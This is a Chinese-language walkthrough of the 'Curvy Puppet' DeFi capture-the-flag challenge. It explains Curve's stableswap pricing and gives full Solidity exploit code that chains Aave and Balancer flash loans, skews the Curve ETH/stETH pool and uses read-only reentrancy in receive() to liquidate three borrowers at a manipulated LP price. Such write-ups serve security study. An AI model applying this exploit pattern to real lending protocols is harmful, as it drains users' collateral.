一、Curvy Puppet

背景:
我们有一个 Curve 池,用于实现 ETH 和 stETH 之间的稳定兑换。此外,我们还有一个借贷池,允许用户通过抵押 DVT 代币从 Curve 池中借入 LP 代币。在此设置中,DVT 代币价值 10,而 ETH 价值 4000。
LP 代币具有虚拟价格,定义为总流动性(记为D)除以 LP 代币的总供应量。初始虚拟价格约为 1.09 ETH。
三位用户分别存入2500 DVT(总价值 25,000)作为抵押品,借入1 个 LP 代币(价值约 4,360)。只要抵押品价值高于借入价值的 1.75 倍,则抵押品被视为安全。否则,任何人都可以调用该liquidate()函数,通过偿还借入的 LP 代币数量来扣押抵押品。
我们可以观察到,池子里有 35 万个 ETH 和 stETH,其中约有 70 万个 LP 代币被铸造。我们初始投入的是 200 个 WETH 和 6.5 个 LP 代币。Curve 池的 AMM 公式如下
$$ K × D × (x+y) + x × y =K × D² + (D / 2)² $$
$$ K = A × x × y / (D / 2)² $$
其中,A为放大参数,D表示总流动性。
不难看出,这个方程介于两种行为之间:
在平衡点 x ≈ y ≈ D / 2 附近,该公式的行为类似于线性不变量:x + y = D。
当一个代币变得稀缺时(例如 x → 0),它的行为更像一个常数乘积不变量:x × y = (D / 2)²。
Curve stable swap使用牛顿法,通过给定另一个数值来求解 x 或 y。
注意:与 Uniswap V2 或 V3 不同,Curve 的稳定币兑换不能用于闪电贷。您必须先存入一个代币,然后才能兑换另一个代币——Curve 没有原生机制可以通过回调在单笔交易中借入和返还代币。
挑战在于操纵预言机价格,使借入价值的 1.75 倍超过抵押品价值,从而实现清算。
DVT 价格(以 ETH 为单位)由部署者固定为每 ETH 10 DVT(ETH 价格为 4000),且不可更改。然而,LP 代币价格取决于虚拟价格乘以 ETH 价格,其中虚拟价格计算公式为:D / LP 代币总量
如果我们能够获得足够多的 LP 代币,我们可以尝试以下策略:
在这种情况下,我们能够操纵并提高预言机观察到的价格。这就是所谓的只读重入漏洞的一个实例。
那么,我们需要多少 LP 代币才能发起这次攻击呢?我们只持有 6.5 个 LP 代币,而 LP 代币总数为 69,000 个,因此仅用我们自己的代币移除流动性几乎不会对虚拟价格产生任何影响。
攻击思路
准备闪电贷资金
- 从 AAVE 借入大额的 stETH + WETH。
- 再从 Balancer 借入额外的 WETH,叠加资金规模。
操纵 Curve 池子价格
- 把 WETH 换成 ETH,和 stETH 一起加到 Curve 池子里,制造流动性失衡。
- 这样能显著改变 get_virtual_price()。
移除流动性,触发回调
- 大规模移除流动性,导致协议认为抵押品贬值。
- 在 Curve 返还 ETH 的过程中,会触发合约的 receive()。
在回调中执行清算
- 调用 CurvyPuppetLending.liquidate(),一次性清算 Alice / Bob / Charlie 三个用户。
- 因为此时价格被操纵,清算逻辑错误 → 攻击者获利。
归还闪电贷 & 提取利润
- 把借来的资金归还给 AAVE 和 Balancer。
- 最后把 WETH + 1 个 LP token + 7500 DVT 转回 Treasury,完成关卡要求。
function test_curvyPuppet() public checkSolvedByPlayer {
IERC20 curveLpToken = IERC20(curvePool.lp_token());
Exploit exploit = new Exploit(
curvePool, lending, curveLpToken, address(player), TREASURY_LP_BALANCE, stETH, weth, address(treasury), dvt
);
// Transfer LP tokens and WETH to the exploit contract
curveLpToken.transferFrom(address(treasury), address(exploit), TREASURY_LP_BALANCE);
weth.transferFrom(address(treasury), address(exploit), TREASURY_WETH_BALANCE);
exploit.executeExploit();
}contract Exploit {
IStableSwap public curvePool;
CurvyPuppetLending public lending;
IERC20 public curveLpToken;
address public player;
uint256 public treasuryLpBalance;
IERC20 stETH;
WETH weth;
address treasury;
DamnValuableToken dvt;
IPermit2 constant permit2 = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3);
IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
constructor(
IStableSwap _curvePool,
CurvyPuppetLending _lending,
IERC20 _curveLpToken,
address _player,
uint256 _treasuryLpBalance,
IERC20 _stETH,
WETH _weth,
address _treasury,
DamnValuableToken _dvt
) {
curvePool = _curvePool;
lending = _lending;
curveLpToken = _curveLpToken;
player = _player;
treasuryLpBalance = _treasuryLpBalance;
stETH = _stETH;
weth = _weth;
treasury = _treasury;
dvt = _dvt;
}
function manipulateCurvePool() public {
// Step 1: Add liquidity to the Curve pool
weth.withdraw(58685 ether);
console.log("LP token price before removing liquidity:", curvePool.get_virtual_price());
// To call the exchange function of the Curve Pool to swap ETH for stETH.
stETH.approve(address(curvePool), type(uint256).max);
uint256[2] memory amount;
amount[0] = 58685 ether;
amount[1] = stETH.balanceOf(address(this));
console.log("my weth balance", weth.balanceOf(address(this)));
console.log("my eth balance", address(this).balance);
curvePool.add_liquidity{value: 58685 ether}(amount, 0);
uint256 virtualPrice = curvePool.get_virtual_price();
console.log("LP token price after add liquidity:", virtualPrice);
}
function removeLiquidity() public {
// Step 2: Remove liquidity from the Curve pool
uint256[2] memory min_amounts = [uint256(0), uint256(0)];
uint256 lpBalance = curveLpToken.balanceOf(address(this));
curvePool.remove_liquidity(lpBalance - 3000000000000000001, min_amounts); // Removing liquidity
console.log("LP token price after2 removing liquidity:", curvePool.get_virtual_price());
}
function executeExploit() public {
// Allow lending contract to pull collateral
IERC20(curvePool.lp_token()).approve(address(permit2), type(uint256).max);
permit2.approve({
token: curvePool.lp_token(),
spender: address(lending),
amount: 5e18,
expiration: uint48(block.timestamp)
});
stETH.approve(address(AaveV2), type(uint256).max);
weth.approve(address(AaveV2), type(uint256).max);
address[] memory assets = new address[](2);
assets[0] = address(stETH);
assets[1] = address(weth);
uint256[] memory amounts = new uint256[](2);
amounts[0] = 172000 * 1e18;
amounts[1] = 20500 * 1e18;
uint256[] memory modes = new uint256[](2);
modes[0] = 0;
modes[1] = 0;
AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0);
weth.transfer(treasury, weth.balanceOf(address(this)));
curveLpToken.transfer(treasury, 1);
dvt.transfer(treasury, 7500e18);
}
function executeOperation(
address[] memory assets,
uint256[] memory amounts,
uint256[] memory premiums,
address initiator,
bytes memory params
) external returns (bool) {
console.log("AAVE flashloan stETH balance:", stETH.balanceOf(address(this)));
console.log(" wETH balancer:", weth.balanceOf(address(Balancer)));
address[] memory tokens = new address[](1);
tokens[0] = address(weth);
uint256[] memory amounts1 = new uint256[](1);
amounts1[0] = 37991 ether;
bytes memory userData = "";
Balancer.flashLoan(address(this), tokens, amounts1, userData);
return true;
}
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
manipulateCurvePool();
removeLiquidity();
weth.deposit{value: 37991 ether}();
weth.transfer(address(Balancer), 37991 ether);
uint256 ethAmount = 12963923469069977697655;
uint256 min_dy = 1;
curvePool.exchange{value: ethAmount}(0, 1, ethAmount, min_dy);
weth.deposit{value: 20518 ether}();
console.log(" stETH balance2:", stETH.balanceOf(address(this)));
console.log(" wETH balance2:", weth.balanceOf(address(this)));
console.log(" ETH balance2:", (address(this).balance));
console.log(" my LP balance2:", curveLpToken.balanceOf(address(this)));
}
// Receive function to handle ETH
receive() external payable {
if (msg.sender == address(curvePool)) {
console.log("LP token price during removing liquidity:", curvePool.get_virtual_price());
address[3] memory users = [
0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, // Alice
0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, // Bob
0xea475d60c118d7058beF4bDd9c32bA51139a74e0 // Charlie
];
console.log("msg.sender", address(this));
for (uint256 i = 0; i < users.length; i++) {
lending.liquidate(users[i]);
console.log("Liquidated user:", users[i]);
}
}
}
}
interface IAaveFlashloan {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
interface IBalancerVault {
function flashLoan(address recipient, address[] memory tokens, uint256[] memory amounts, bytes memory userData)
external;
}
评论 (0)